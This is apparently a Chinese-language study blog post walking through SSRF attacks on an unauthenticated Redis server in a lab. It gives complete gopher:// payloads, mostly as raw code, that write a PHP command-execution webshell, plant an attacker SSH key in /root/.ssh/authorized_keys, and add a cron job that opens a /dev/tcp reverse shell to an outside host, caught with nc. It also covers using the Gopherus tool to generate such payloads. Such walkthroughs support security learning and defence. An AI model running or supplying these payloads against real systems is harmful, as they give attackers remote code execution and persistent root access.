首先使用dict伪协议检查网站的Redis是否在运行

1
dict://172.250.250.9:6379/info

如果是未授权的就会弹出一堆信息

image-20250424152302727

如果是要授权的就会弹出认证失败的信息

构造gopher伪协议的payload,首先将payload的换行符换成%0d%0a,问号换成%3f

image-20250424152643088

1
*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$3%0d%0adir%0d%0a$14%0d%0a/var/www/html%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$8%0d%0ainfo.php%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$7%0d%0apayload%0d%0a$19%0d%0a<%3fphp phpinfo(); %3f>%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit
1
gopher://172.250.250.9:6379/_*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$3%0d%0adir%0d%0a$14%0d%0a/var/www/html%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$8%0d%0ainfo.php%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$7%0d%0apayload%0d%0a$19%0d%0a<%3fphp phpinfo(); %3f>%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit

提交

image-20250424152948552

然后就可以使用http伪协议访问

1
http://172.250.250.9/info.php

image-20250424153547262

使用工具构造

1
python2 gopherus.py --exploit redis

image-20250424153958769

有两个选项,第一个是反弹shell,第二个是PHP命令交互,这里选择第二个

1
PHPShell

网站根目录是否是/var/www/html,是就直接回车

image-20250424154144576

然后是构造的payload,可以直接回车用默认的

image-20250424154225610

会生成一个shell.php页面,GET方法提交cmd参数执行命令

1
gopher://172.250.250.9:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

image-20250424154505121

执行命令

1
http://172.250.250.9/shell.php?cmd=id

image-20250424154606727

使用SSRF对Redis未授权SSH公钥写入

如果对方主机开启了SSH,可以尝试写入SSH公钥文件,用自己的私钥去连接,从而进行SSH登录

在kali上生成私钥对

1
ssh-keygen -t rsa

会生成在root目录下的.ssh中,默认敲回车

image-20250424161301409

image-20250424161410956

第一个是私钥,第二个是公钥

1
cat id_rsa.pub

image-20250424161513308

对之前的payload进行修改,要修改文件路径、文件名、文件内容,注意在构造payload时在前后都加上两个换行符,使其之后与其他内容进行区分开

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
*4
$6
CONFIG
$3
SET
$3
dir
$11
/root/.ssh/
*4
$6
config
$3
set
$10
dbfilename
$15
authorized_keys
*3
$3
set
$7
payload
$568


ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCQgMRihDD5ALaOUoOBI+T2rKAGvtRQiC4MP73sCskU2JaTD41pRx999mAE4bkzoRRU5bK4FnOHKWrmxXo8FIaMu4E/iSF8H00yQvr9zO6369hqj6yfNLP3cmd6f/o6ouzlcxo2YO1oxaGPZDfd8geqFSmX7YjYS3Tpok7HvmaoV49B06f+2l35oH79SQ5RYujrC3m4TcjT0OpaIKDyB5HTod2MfyUMIsiOKQIIMuMftfpgXWSn7Q03XZEXe+0f/EluByC5HGN0rfi4uzOfCKyhsDzElWTW7MDiJ1tSLpvjaeTJihWUwYKMq8n+rw4on2c5Xu6wxa2fu6pXtFY2b+r4kiyPNhb6h00OukEK3ezNx4UZRecQ0vmDRcwBj+16UbXCs3pGHFpqabraNP04GZZr9+/pPPHUSHKSRlstoc77EmzeKaVg9m5n44LRUAgvkC0aQZak6z+flM8KKuLX58AsBRv73EBKy5goiF2UBYQba9LvFBYz3JjqtrX1GtwwmLM= root@kali


*1
$4
save
*1
$4
quit

替换换行符

1
*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$3%0d%0adir%0d%0a$11%0d%0a/root/.ssh/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$15%0d%0aauthorized_keys%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$7%0d%0apayload%0d%0a$568%0d%0a%0d%0a%0d%0assh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCQgMRihDD5ALaOUoOBI+T2rKAGvtRQiC4MP73sCskU2JaTD41pRx999mAE4bkzoRRU5bK4FnOHKWrmxXo8FIaMu4E/iSF8H00yQvr9zO6369hqj6yfNLP3cmd6f/o6ouzlcxo2YO1oxaGPZDfd8geqFSmX7YjYS3Tpok7HvmaoV49B06f+2l35oH79SQ5RYujrC3m4TcjT0OpaIKDyB5HTod2MfyUMIsiOKQIIMuMftfpgXWSn7Q03XZEXe+0f/EluByC5HGN0rfi4uzOfCKyhsDzElWTW7MDiJ1tSLpvjaeTJihWUwYKMq8n+rw4on2c5Xu6wxa2fu6pXtFY2b+r4kiyPNhb6h00OukEK3ezNx4UZRecQ0vmDRcwBj+16UbXCs3pGHFpqabraNP04GZZr9+/pPPHUSHKSRlstoc77EmzeKaVg9m5n44LRUAgvkC0aQZak6z+flM8KKuLX58AsBRv73EBKy5goiF2UBYQba9LvFBYz3JjqtrX1GtwwmLM= root@kali%0d%0a%0d%0a%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit
1
gopher://172.250.250.9:6379/_*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$3%0d%0adir%0d%0a$11%0d%0a/root/.ssh/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$15%0d%0aauthorized_keys%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$7%0d%0apayload%0d%0a$568%0d%0a%0d%0a%0d%0assh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCQgMRihDD5ALaOUoOBI+T2rKAGvtRQiC4MP73sCskU2JaTD41pRx999mAE4bkzoRRU5bK4FnOHKWrmxXo8FIaMu4E/iSF8H00yQvr9zO6369hqj6yfNLP3cmd6f/o6ouzlcxo2YO1oxaGPZDfd8geqFSmX7YjYS3Tpok7HvmaoV49B06f+2l35oH79SQ5RYujrC3m4TcjT0OpaIKDyB5HTod2MfyUMIsiOKQIIMuMftfpgXWSn7Q03XZEXe+0f/EluByC5HGN0rfi4uzOfCKyhsDzElWTW7MDiJ1tSLpvjaeTJihWUwYKMq8n+rw4on2c5Xu6wxa2fu6pXtFY2b+r4kiyPNhb6h00OukEK3ezNx4UZRecQ0vmDRcwBj+16UbXCs3pGHFpqabraNP04GZZr9+/pPPHUSHKSRlstoc77EmzeKaVg9m5n44LRUAgvkC0aQZak6z+flM8KKuLX58AsBRv73EBKy5goiF2UBYQba9LvFBYz3JjqtrX1GtwwmLM= root@kali%0d%0a%0d%0a%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit

在没有写入SSH公钥前使用私钥测试连接

1
ssh -i id_rsa -p 2222 root@192.168.233.137

image-20250424164425169

会发现需要公钥,连接不上

在提交payload后,再次连接,发现不需要公钥了,直接可以连接

image-20250424164844401

使用SSRF对Redis未授权计划任务Shell反弹

  • 权限问题,Ubuntu定时任务需要root权限
  • Redis备份文件存在乱码,在Ubuntu上会报错,而在Centos上不会报错

使用SSRF利用此漏洞切记在写入计划任务前后要加上\n来进行换行,否则数据污染会导致计划任务无法执行

要写入的目录是/var/spool/cron/

image-20250424171403427

使用工具,选择第一个

1
python2 gopherus.py --exploit redis

image-20250424165757734

填写目标的IP地址(根据实际填写)

image-20250424170000438

1
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2470%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/192.168.233.140/1234%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

会反弹到1234端口,要进行监听

1
nc -lvp 1234

image-20250424170153391

image-20250424170514771

image-20250424170556802


SSRF学习
https://yschen20.github.io/2025/05/09/SSRF学习/
作者
Suzen
发布于
2025年5月9日
更新于
2025年5月29日
许可协议